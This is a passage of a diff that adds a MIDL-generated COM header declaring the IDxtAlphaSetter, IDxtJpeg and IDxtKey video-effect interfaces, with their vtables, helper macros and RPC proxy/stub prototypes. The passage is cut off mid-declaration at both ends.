IDxtAlphaSetter + { + CONST_VTBL struct IDxtAlphaSetterVtbl *lpVtbl; + }; + + + +#ifdef COBJMACROS + + +#define IDxtAlphaSetter_QueryInterface(This,riid,ppvObject) \ + (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) + +#define IDxtAlphaSetter_AddRef(This) \ + (This)->lpVtbl -> AddRef(This) + +#define IDxtAlphaSetter_Release(This) \ + (This)->lpVtbl -> Release(This) + + +#define IDxtAlphaSetter_GetTypeInfoCount(This,pctinfo) \ + (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) + +#define IDxtAlphaSetter_GetTypeInfo(This,iTInfo,lcid,ppTInfo) \ + (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) + +#define IDxtAlphaSetter_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) \ + (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) + +#define IDxtAlphaSetter_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) \ + (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) + + +#define IDxtAlphaSetter_get_Capabilities(This,pVal) \ + (This)->lpVtbl -> get_Capabilities(This,pVal) + +#define IDxtAlphaSetter_get_Progress(This,pVal) \ + (This)->lpVtbl -> get_Progress(This,pVal) + +#define IDxtAlphaSetter_put_Progress(This,newVal) \ + (This)->lpVtbl -> put_Progress(This,newVal) + +#define IDxtAlphaSetter_get_StepResolution(This,pVal) \ + (This)->lpVtbl -> get_StepResolution(This,pVal) + +#define IDxtAlphaSetter_get_Duration(This,pVal) \ + (This)->lpVtbl -> get_Duration(This,pVal) + +#define IDxtAlphaSetter_put_Duration(This,newVal) \ + (This)->lpVtbl -> put_Duration(This,newVal) + + +#define IDxtAlphaSetter_get_Alpha(This,pVal) \ + (This)->lpVtbl -> get_Alpha(This,pVal) + +#define IDxtAlphaSetter_put_Alpha(This,newVal) \ + (This)->lpVtbl -> put_Alpha(This,newVal) + +#define IDxtAlphaSetter_get_AlphaRamp(This,pVal) \ + (This)->lpVtbl -> get_AlphaRamp(This,pVal) + +#define IDxtAlphaSetter_put_AlphaRamp(This,newVal) \ + (This)->lpVtbl -> put_AlphaRamp(This,newVal) + +#endif /* COBJMACROS */ + + +#endif /* C style interface */ + + + +/* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE IDxtAlphaSetter_get_Alpha_Proxy( + IDxtAlphaSetter * This, + /* [retval][out] */ long *pVal); + + +void __RPC_STUB IDxtAlphaSetter_get_Alpha_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id][propput] */ HRESULT STDMETHODCALLTYPE IDxtAlphaSetter_put_Alpha_Proxy( + IDxtAlphaSetter * This, + /* [in] */ long newVal); + + +void __RPC_STUB IDxtAlphaSetter_put_Alpha_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE IDxtAlphaSetter_get_AlphaRamp_Proxy( + IDxtAlphaSetter * This, + /* [retval][out] */ double *pVal); + + +void __RPC_STUB IDxtAlphaSetter_get_AlphaRamp_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id][propput] */ HRESULT STDMETHODCALLTYPE IDxtAlphaSetter_put_AlphaRamp_Proxy( + IDxtAlphaSetter * This, + /* [in] */ double newVal); + + +void __RPC_STUB IDxtAlphaSetter_put_AlphaRamp_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + + +#endif /* __IDxtAlphaSetter_INTERFACE_DEFINED__ */ + + +#ifndef __IDxtJpeg_INTERFACE_DEFINED__ +#define __IDxtJpeg_INTERFACE_DEFINED__ + +/* interface IDxtJpeg */ +/* [unique][helpstring][dual][uuid][object] */ + + +EXTERN_C const IID IID_IDxtJpeg; + +#if defined(__cplusplus) && !defined(CINTERFACE) + + MIDL_INTERFACE("DE75D011-7A65-11D2-8CEA-00A0C9441E20") + IDxtJpeg : public IDXEffect + { + public: + virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_MaskNum( + /* [retval][out] */ long *__MIDL_0021) = 0; + + virtual /* [helpstring][id][propput] */ HRESULT STDMETHODCALLTYPE put_MaskNum( + /* [in] */ long __MIDL_0022) = 0; + + virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_MaskName( + /* [retval][out] */ BSTR *pVal) = 0; + + virtual /* [helpstring][id][propput] */ HRESULT STDMETHODCALLTYPE put_MaskName( + /* [in] */ BSTR newVal) = 0; + + virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_ScaleX( + /* [retval][out] */ double *__MIDL_0023) = 0; + + virtual /* [helpstring][id][propput] */ HRESULT STDMETHODCALLTYPE put_ScaleX( + /* [in] */ double __MIDL_0024) = 0; + + virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_ScaleY( + /* [retval][out] */ double *__MIDL_0025) = 0; + + virtual /* [helpstring][id][propput] */ HRESULT STDMETHODCALLTYPE put_ScaleY( + /* [in] */ double __MIDL_0026) = 0; + + virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_OffsetX( + /* [retval][out] */ long *__MIDL_0027) = 0; + + virtual /* [helpstring][id][propput] */ HRESULT STDMETHODCALLTYPE put_OffsetX( + /* [in] */ long __MIDL_0028) = 0; + + virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_OffsetY( + /* [retval][out] */ long *__MIDL_0029) = 0; + + virtual /* [helpstring][id][propput] */ HRESULT STDMETHODCALLTYPE put_OffsetY( + /* [in] */ long __MIDL_0030) = 0; + + virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_ReplicateX( + /* [retval][out] */ long *pVal) = 0; + + virtual /* [helpstring][id][propput] */ HRESULT STDMETHODCALLTYPE put_ReplicateX( + /* [in] */ long newVal) = 0; + + virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_ReplicateY( + /* [retval][out] */ long *pVal) = 0; + + virtual /* [helpstring][id][propput] */ HRESULT STDMETHODCALLTYPE put_ReplicateY( + /* [in] */ long newVal) = 0; + + virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_BorderColor( + /* [retval][out] */ long *pVal) = 0; + + virtual /* [helpstring][id][propput] */ HRESULT STDMETHODCALLTYPE put_BorderColor( + /* [in] */ long newVal) = 0; + + virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_BorderWidth( + /* [retval][out] */ long *pVal) = 0; + + virtual /* [helpstring][id][propput] */ HRESULT STDMETHODCALLTYPE put_BorderWidth( + /* [in] */ long newVal) = 0; + + virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_BorderSoftness( + /* [retval][out] */ long *pVal) = 0; + + virtual /* [helpstring][id][propput] */ HRESULT STDMETHODCALLTYPE put_BorderSoftness( + /* [in] */ long newVal) = 0; + + virtual HRESULT STDMETHODCALLTYPE ApplyChanges( void) = 0; + + virtual HRESULT STDMETHODCALLTYPE LoadDefSettings( void) = 0; + + }; + +#else /* C style interface */ + + typedef struct IDxtJpegVtbl + { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IDxtJpeg * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IDxtJpeg * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IDxtJpeg * This); + + HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( + IDxtJpeg * This, + /* [out] */ UINT *pctinfo); + + HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( + IDxtJpeg * This, + /* [in] */ UINT iTInfo, + /* [in] */ LCID lcid, + /* [out] */ ITypeInfo **ppTInfo); + + HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( + IDxtJpeg * This, + /* [in] */ REFIID riid, + /* [size_is][in] */ LPOLESTR *rgszNames, + /* [in] */ UINT cNames, + /* [in] */ LCID lcid, + /* [size_is][out] */ DISPID *rgDispId); + + /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( + IDxtJpeg * This, + /* [in] */ DISPID dispIdMember, + /* [in] */ REFIID riid, + /* [in] */ LCID lcid, + /* [in] */ WORD wFlags, + /* [out][in] */ DISPPARAMS *pDispParams, + /* [out] */ VARIANT *pVarResult, + /* [out] */ EXCEPINFO *pExcepInfo, + /* [out] */ UINT *puArgErr); + + /* [id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Capabilities )( + IDxtJpeg * This, + /* [retval][out] */ long *pVal); + + /* [id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Progress )( + IDxtJpeg * This, + /* [retval][out] */ float *pVal); + + /* [id][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Progress )( + IDxtJpeg * This, + /* [in] */ float newVal); + + /* [id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_StepResolution )( + IDxtJpeg * This, + /* [retval][out] */ float *pVal); + + /* [id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Duration )( + IDxtJpeg * This, + /* [retval][out] */ float *pVal); + + /* [id][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Duration )( + IDxtJpeg * This, + /* [in] */ float newVal); + + /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_MaskNum )( + IDxtJpeg * This, + /* [retval][out] */ long *__MIDL_0021); + + /* [helpstring][id][propput] */ HRESULT ( STDMETHODCALLTYPE *put_MaskNum )( + IDxtJpeg * This, + /* [in] */ long __MIDL_0022); + + /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_MaskName )( + IDxtJpeg * This, + /* [retval][out] */ BSTR *pVal); + + /* [helpstring][id][propput] */ HRESULT ( STDMETHODCALLTYPE *put_MaskName )( + IDxtJpeg * This, + /* [in] */ BSTR newVal); + + /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ScaleX )( + IDxtJpeg * This, + /* [retval][out] */ double *__MIDL_0023); + + /* [helpstring][id][propput] */ HRESULT ( STDMETHODCALLTYPE *put_ScaleX )( + IDxtJpeg * This, + /* [in] */ double __MIDL_0024); + + /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ScaleY )( + IDxtJpeg * This, + /* [retval][out] */ double *__MIDL_0025); + + /* [helpstring][id][propput] */ HRESULT ( STDMETHODCALLTYPE *put_ScaleY )( + IDxtJpeg * This, + /* [in] */ double __MIDL_0026); + + /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_OffsetX )( + IDxtJpeg * This, + /* [retval][out] */ long *__MIDL_0027); + + /* [helpstring][id][propput] */ HRESULT ( STDMETHODCALLTYPE *put_OffsetX )( + IDxtJpeg * This, + /* [in] */ long __MIDL_0028); + + /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_OffsetY )( + IDxtJpeg * This, + /* [retval][out] */ long *__MIDL_0029); + + /* [helpstring][id][propput] */ HRESULT ( STDMETHODCALLTYPE *put_OffsetY )( + IDxtJpeg * This, + /* [in] */ long __MIDL_0030); + + /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ReplicateX )( + IDxtJpeg * This, + /* [retval][out] */ long *pVal); + + /* [helpstring][id][propput] */ HRESULT ( STDMETHODCALLTYPE *put_ReplicateX )( + IDxtJpeg * This, + /* [in] */ long newVal); + + /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ReplicateY )( + IDxtJpeg * This, + /* [retval][out] */ long *pVal); + + /* [helpstring][id][propput] */ HRESULT ( STDMETHODCALLTYPE *put_ReplicateY )( + IDxtJpeg * This, + /* [in] */ long newVal); + + /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_BorderColor )( + IDxtJpeg * This, + /* [retval][out] */ long *pVal); + + /* [helpstring][id][propput] */ HRESULT ( STDMETHODCALLTYPE *put_BorderColor )( + IDxtJpeg * This, + /* [in] */ long newVal); + + /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_BorderWidth )( + IDxtJpeg * This, + /* [retval][out] */ long *pVal); + + /* [helpstring][id][propput] */ HRESULT ( STDMETHODCALLTYPE *put_BorderWidth )( + IDxtJpeg * This, + /* [in] */ long newVal); + + /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_BorderSoftness )( + IDxtJpeg * This, + /* [retval][out] */ long *pVal); + + /* [helpstring][id][propput] */ HRESULT ( STDMETHODCALLTYPE *put_BorderSoftness )( + IDxtJpeg * This, + /* [in] */ long newVal); + + HRESULT ( STDMETHODCALLTYPE *ApplyChanges )( + IDxtJpeg * This); + + HRESULT ( STDMETHODCALLTYPE *LoadDefSettings )( + IDxtJpeg * This); + + END_INTERFACE + } IDxtJpegVtbl; + + interface IDxtJpeg + { + CONST_VTBL struct IDxtJpegVtbl *lpVtbl; + }; + + + +#ifdef COBJMACROS + + +#define IDxtJpeg_QueryInterface(This,riid,ppvObject) \ + (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) + +#define IDxtJpeg_AddRef(This) \ + (This)->lpVtbl -> AddRef(This) + +#define IDxtJpeg_Release(This) \ + (This)->lpVtbl -> Release(This) + + +#define IDxtJpeg_GetTypeInfoCount(This,pctinfo) \ + (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) + +#define IDxtJpeg_GetTypeInfo(This,iTInfo,lcid,ppTInfo) \ + (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) + +#define IDxtJpeg_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) \ + (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) + +#define IDxtJpeg_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) \ + (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) + + +#define IDxtJpeg_get_Capabilities(This,pVal) \ + (This)->lpVtbl -> get_Capabilities(This,pVal) + +#define IDxtJpeg_get_Progress(This,pVal) \ + (This)->lpVtbl -> get_Progress(This,pVal) + +#define IDxtJpeg_put_Progress(This,newVal) \ + (This)->lpVtbl -> put_Progress(This,newVal) + +#define IDxtJpeg_get_StepResolution(This,pVal) \ + (This)->lpVtbl -> get_StepResolution(This,pVal) + +#define IDxtJpeg_get_Duration(This,pVal) \ + (This)->lpVtbl -> get_Duration(This,pVal) + +#define IDxtJpeg_put_Duration(This,newVal) \ + (This)->lpVtbl -> put_Duration(This,newVal) + + +#define IDxtJpeg_get_MaskNum(This,__MIDL_0021) \ + (This)->lpVtbl -> get_MaskNum(This,__MIDL_0021) + +#define IDxtJpeg_put_MaskNum(This,__MIDL_0022) \ + (This)->lpVtbl -> put_MaskNum(This,__MIDL_0022) + +#define IDxtJpeg_get_MaskName(This,pVal) \ + (This)->lpVtbl -> get_MaskName(This,pVal) + +#define IDxtJpeg_put_MaskName(This,newVal) \ + (This)->lpVtbl -> put_MaskName(This,newVal) + +#define IDxtJpeg_get_ScaleX(This,__MIDL_0023) \ + (This)->lpVtbl -> get_ScaleX(This,__MIDL_0023) + +#define IDxtJpeg_put_ScaleX(This,__MIDL_0024) \ + (This)->lpVtbl -> put_ScaleX(This,__MIDL_0024) + +#define IDxtJpeg_get_ScaleY(This,__MIDL_0025) \ + (This)->lpVtbl -> get_ScaleY(This,__MIDL_0025) + +#define IDxtJpeg_put_ScaleY(This,__MIDL_0026) \ + (This)->lpVtbl -> put_ScaleY(This,__MIDL_0026) + +#define IDxtJpeg_get_OffsetX(This,__MIDL_0027) \ + (This)->lpVtbl -> get_OffsetX(This,__MIDL_0027) + +#define IDxtJpeg_put_OffsetX(This,__MIDL_0028) \ + (This)->lpVtbl -> put_OffsetX(This,__MIDL_0028) + +#define IDxtJpeg_get_OffsetY(This,__MIDL_0029) \ + (This)->lpVtbl -> get_OffsetY(This,__MIDL_0029) + +#define IDxtJpeg_put_OffsetY(This,__MIDL_0030) \ + (This)->lpVtbl -> put_OffsetY(This,__MIDL_0030) + +#define IDxtJpeg_get_ReplicateX(This,pVal) \ + (This)->lpVtbl -> get_ReplicateX(This,pVal) + +#define IDxtJpeg_put_ReplicateX(This,newVal) \ + (This)->lpVtbl -> put_ReplicateX(This,newVal) + +#define IDxtJpeg_get_ReplicateY(This,pVal) \ + (This)->lpVtbl -> get_ReplicateY(This,pVal) + +#define IDxtJpeg_put_ReplicateY(This,newVal) \ + (This)->lpVtbl -> put_ReplicateY(This,newVal) + +#define IDxtJpeg_get_BorderColor(This,pVal) \ + (This)->lpVtbl -> get_BorderColor(This,pVal) + +#define IDxtJpeg_put_BorderColor(This,newVal) \ + (This)->lpVtbl -> put_BorderColor(This,newVal) + +#define IDxtJpeg_get_BorderWidth(This,pVal) \ + (This)->lpVtbl -> get_BorderWidth(This,pVal) + +#define IDxtJpeg_put_BorderWidth(This,newVal) \ + (This)->lpVtbl -> put_BorderWidth(This,newVal) + +#define IDxtJpeg_get_BorderSoftness(This,pVal) \ + (This)->lpVtbl -> get_BorderSoftness(This,pVal) + +#define IDxtJpeg_put_BorderSoftness(This,newVal) \ + (This)->lpVtbl -> put_BorderSoftness(This,newVal) + +#define IDxtJpeg_ApplyChanges(This) \ + (This)->lpVtbl -> ApplyChanges(This) + +#define IDxtJpeg_LoadDefSettings(This) \ + (This)->lpVtbl -> LoadDefSettings(This) + +#endif /* COBJMACROS */ + + +#endif /* C style interface */ + + + +/* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE IDxtJpeg_get_MaskNum_Proxy( + IDxtJpeg * This, + /* [retval][out] */ long *__MIDL_0021); + + +void __RPC_STUB IDxtJpeg_get_MaskNum_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id][propput] */ HRESULT STDMETHODCALLTYPE IDxtJpeg_put_MaskNum_Proxy( + IDxtJpeg * This, + /* [in] */ long __MIDL_0022); + + +void __RPC_STUB IDxtJpeg_put_MaskNum_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE IDxtJpeg_get_MaskName_Proxy( + IDxtJpeg * This, + /* [retval][out] */ BSTR *pVal); + + +void __RPC_STUB IDxtJpeg_get_MaskName_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id][propput] */ HRESULT STDMETHODCALLTYPE IDxtJpeg_put_MaskName_Proxy( + IDxtJpeg * This, + /* [in] */ BSTR newVal); + + +void __RPC_STUB IDxtJpeg_put_MaskName_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE IDxtJpeg_get_ScaleX_Proxy( + IDxtJpeg * This, + /* [retval][out] */ double *__MIDL_0023); + + +void __RPC_STUB IDxtJpeg_get_ScaleX_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id][propput] */ HRESULT STDMETHODCALLTYPE IDxtJpeg_put_ScaleX_Proxy( + IDxtJpeg * This, + /* [in] */ double __MIDL_0024); + + +void __RPC_STUB IDxtJpeg_put_ScaleX_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE IDxtJpeg_get_ScaleY_Proxy( + IDxtJpeg * This, + /* [retval][out] */ double *__MIDL_0025); + + +void __RPC_STUB IDxtJpeg_get_ScaleY_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id][propput] */ HRESULT STDMETHODCALLTYPE IDxtJpeg_put_ScaleY_Proxy( + IDxtJpeg * This, + /* [in] */ double __MIDL_0026); + + +void __RPC_STUB IDxtJpeg_put_ScaleY_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE IDxtJpeg_get_OffsetX_Proxy( + IDxtJpeg * This, + /* [retval][out] */ long *__MIDL_0027); + + +void __RPC_STUB IDxtJpeg_get_OffsetX_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id][propput] */ HRESULT STDMETHODCALLTYPE IDxtJpeg_put_OffsetX_Proxy( + IDxtJpeg * This, + /* [in] */ long __MIDL_0028); + + +void __RPC_STUB IDxtJpeg_put_OffsetX_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE IDxtJpeg_get_OffsetY_Proxy( + IDxtJpeg * This, + /* [retval][out] */ long *__MIDL_0029); + + +void __RPC_STUB IDxtJpeg_get_OffsetY_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id][propput] */ HRESULT STDMETHODCALLTYPE IDxtJpeg_put_OffsetY_Proxy( + IDxtJpeg * This, + /* [in] */ long __MIDL_0030); + + +void __RPC_STUB IDxtJpeg_put_OffsetY_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE IDxtJpeg_get_ReplicateX_Proxy( + IDxtJpeg * This, + /* [retval][out] */ long *pVal); + + +void __RPC_STUB IDxtJpeg_get_ReplicateX_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id][propput] */ HRESULT STDMETHODCALLTYPE IDxtJpeg_put_ReplicateX_Proxy( + IDxtJpeg * This, + /* [in] */ long newVal); + + +void __RPC_STUB IDxtJpeg_put_ReplicateX_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE IDxtJpeg_get_ReplicateY_Proxy( + IDxtJpeg * This, + /* [retval][out] */ long *pVal); + + +void __RPC_STUB IDxtJpeg_get_ReplicateY_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id][propput] */ HRESULT STDMETHODCALLTYPE IDxtJpeg_put_ReplicateY_Proxy( + IDxtJpeg * This, + /* [in] */ long newVal); + + +void __RPC_STUB IDxtJpeg_put_ReplicateY_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE IDxtJpeg_get_BorderColor_Proxy( + IDxtJpeg * This, + /* [retval][out] */ long *pVal); + + +void __RPC_STUB IDxtJpeg_get_BorderColor_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id][propput] */ HRESULT STDMETHODCALLTYPE IDxtJpeg_put_BorderColor_Proxy( + IDxtJpeg * This, + /* [in] */ long newVal); + + +void __RPC_STUB IDxtJpeg_put_BorderColor_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE IDxtJpeg_get_BorderWidth_Proxy( + IDxtJpeg * This, + /* [retval][out] */ long *pVal); + + +void __RPC_STUB IDxtJpeg_get_BorderWidth_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id][propput] */ HRESULT STDMETHODCALLTYPE IDxtJpeg_put_BorderWidth_Proxy( + IDxtJpeg * This, + /* [in] */ long newVal); + + +void __RPC_STUB IDxtJpeg_put_BorderWidth_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE IDxtJpeg_get_BorderSoftness_Proxy( + IDxtJpeg * This, + /* [retval][out] */ long *pVal); + + +void __RPC_STUB IDxtJpeg_get_BorderSoftness_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id][propput] */ HRESULT STDMETHODCALLTYPE IDxtJpeg_put_BorderSoftness_Proxy( + IDxtJpeg * This, + /* [in] */ long newVal); + + +void __RPC_STUB IDxtJpeg_put_BorderSoftness_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IDxtJpeg_ApplyChanges_Proxy( + IDxtJpeg * This); + + +void __RPC_STUB IDxtJpeg_ApplyChanges_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IDxtJpeg_LoadDefSettings_Proxy( + IDxtJpeg * This); + + +void __RPC_STUB IDxtJpeg_LoadDefSettings_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + + +#endif /* __IDxtJpeg_INTERFACE_DEFINED__ */ + + +#ifndef __IDxtKey_INTERFACE_DEFINED__ +#define __IDxtKey_INTERFACE_DEFINED__ + +/* interface IDxtKey */ +/* [unique][helpstring][dual][uuid][object] */ + + +EXTERN_C const IID IID_IDxtKey; + +#if defined(__cplusplus) && !defined(CINTERFACE) + + MIDL_INTERFACE("3255de56-38fb-4901-b980-94b438010d7b") + IDxtKey : public IDXEffect + { + public: + virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_KeyType( + /* [retval][out] */ int *__MIDL_0031) = 0; + + virtual /* [helpstring][id][propput] */ HRESULT STDMETHODCALLTYPE put_KeyType( + /* [in] */ int __MIDL_0032) = 0; + + virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_Hue( + /* [retval][out] */ int *__MIDL_0033) = 0; + + virtual /* [helpstring][id][propput] */ HRESULT STDMETHODCALLTYPE put_Hue( + /* [in] */ int __MIDL_0034) = 0; + + virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_Luminance( + /* [retval][out] */ int *__MIDL_0035) = 0; + + virtual /* [helpstring][id][propput] */ HRESULT STDMETHODCALLTYPE put_Luminance( + /* [in] */ int __MIDL_0036) = 0; + + virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_RGB( + /* [retval][out] */ DWORD *__MIDL_0037) = 0; + + virtual /* [helpstring][id][propput] */ HRESULT STDMETHODCALLTYPE put_RGB( + /* [in] */ DWORD __MIDL_0038) = 0; + + virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_Similarity( + /* [retval][out] */ int *__MIDL_0039) = 0; + + virtual /* [helpstring][id][propput] */ HRESULT STDMETHODCALLTYPE put_Similarity( + /* [in] */ int __MIDL_0040) = 0; + + virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_Invert( + /* [retval][out] */ BOOL *__MIDL_0041) = 0; + + virtual /* [helpstring][id][propput] */ HRESULT STDMETHODCALLTYPE put_Invert( + /* [in] */ BOOL __MIDL_0042) = 0; + + }; + +#else /* C style interface */ + + typedef struct IDxtKeyVtbl + { + BEGIN_INTERFACE + + HRESULT ( 